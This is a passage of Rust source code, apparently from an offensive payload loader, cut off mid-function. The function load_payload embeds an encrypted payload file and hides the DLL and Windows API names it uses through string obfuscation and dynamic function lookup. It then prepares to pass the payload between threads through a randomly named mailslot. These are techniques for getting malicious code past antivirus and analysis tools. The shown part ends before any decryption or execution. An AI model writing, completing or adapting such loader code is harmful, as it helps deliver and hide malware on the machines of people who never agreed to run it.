()
| 7 | use obfstr::obfbytes; |
| 8 | |
| 9 | pub fn load_payload() -> Result<Vec<u8>, String> { |
| 10 | const ENCRYPT_DATA: &'static [u8] = include_bytes!("../../output/encrypt.bin"); |
| 11 | let encrypted_data = ENCRYPT_DATA.to_vec(); |
| 12 | |
| 13 | // Generate random mailslot name |
| 14 | let random: u32 = rand::thread_rng().gen_range(10000..99999); |
| 15 | let mailslot_name_str = format!("\\\\.\\mailslot\\rsl_slot_{}", random); |
| 16 | let mailslot_name_c = CString::new(mailslot_name_str.clone()).map_err(|e| e.to_string())?; |
| 17 | |
| 18 | unsafe { |
| 19 | let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?; |
| 20 | |
| 21 | // Define function types |
| 22 | type CreateMailslotAFn = unsafe extern "system" fn(*const u8, u32, u32, *const c_void) -> isize; |
| 23 | type GetMailslotInfoFn = unsafe extern "system" fn(isize, *mut u32, *mut u32, *mut u32, *mut u32) -> i32; |
| 24 | type CreateFileAFn = unsafe extern "system" fn(*const u8, u32, u32, *const c_void, u32, u32, isize) -> isize; |
| 25 | type WriteFileFn = unsafe extern "system" fn(isize, *const u8, u32, *mut u32, *mut c_void) -> i32; |
| 26 | type ReadFileFn = unsafe extern "system" fn(isize, *mut u8, u32, *mut u32, *mut c_void) -> i32; |
| 27 | type CloseHandleFn = unsafe extern "system" fn(isize) -> i32; |
| 28 | |
| 29 | // Load functions |
| 30 | let create_mailslot_a: CreateMailslotAFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"CreateMailslotA\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load CreateMailslotA\0").as_slice()).to_string())?); |
| 31 | let get_mailslot_info: GetMailslotInfoFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"GetMailslotInfo\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load GetMailslotInfo\0").as_slice()).to_string())?); |
| 32 | let create_file_a: CreateFileAFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"CreateFileA\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load CreateFileA\0").as_slice()).to_string())?); |
| 33 | let write_file: WriteFileFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"WriteFile\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load WriteFile\0").as_slice()).to_string())?); |
| 34 | let read_file: ReadFileFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"ReadFile\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load ReadFile\0").as_slice()).to_string())?); |
| 35 | let close_handle: CloseHandleFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"CloseHandle\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load CloseHandle\0").as_slice()).to_string())?); |
| 36 | |
| 37 | // 1. Create Mailslot (Server) |
| 38 | let h_slot = create_mailslot_a( |
| 39 | mailslot_name_c.as_ptr() as *const u8, |
| 40 | 0, // No maximum message size |
| 41 | 0, // No read timeout (we'll poll) |
| 42 | ptr::null() |
| 43 | ); |
| 44 | |
| 45 | if h_slot == -1 { // INVALID_HANDLE_VALUE |
| 46 | return Err(String::from_utf8_lossy(obfbytes!(b"Failed to create mailslot\0").as_slice()).to_string()); |
| 47 | } |
| 48 | |
| 49 | // 2. Spawn Writer Thread (Client) |
| 50 | let writer_data = encrypted_data.clone(); |
| 51 | let writer_name = mailslot_name_c.clone(); |
| 52 | |
| 53 | thread::spawn(move || { |
| 54 | // Give server time to be ready (though CreateMailslot is synchronous) |
| 55 | thread::sleep(Duration::from_millis(100)); |
| 56 | |
| 57 | let h_file = create_file_a( |
| 58 | writer_name.as_ptr() as *const u8, |
| 59 | 0x40000000, // GENERIC_WRITE |
| 60 | 0x00000001, // FILE_SHARE_READ |
| 61 | ptr::null(), |
| 62 | 3, // OPEN_EXISTING |
| 63 | 0x00000080, // FILE_ATTRIBUTE_NORMAL |
| 64 | 0 |
| 65 | ); |
| 66 |
nothing calls this directly
no test coverage detected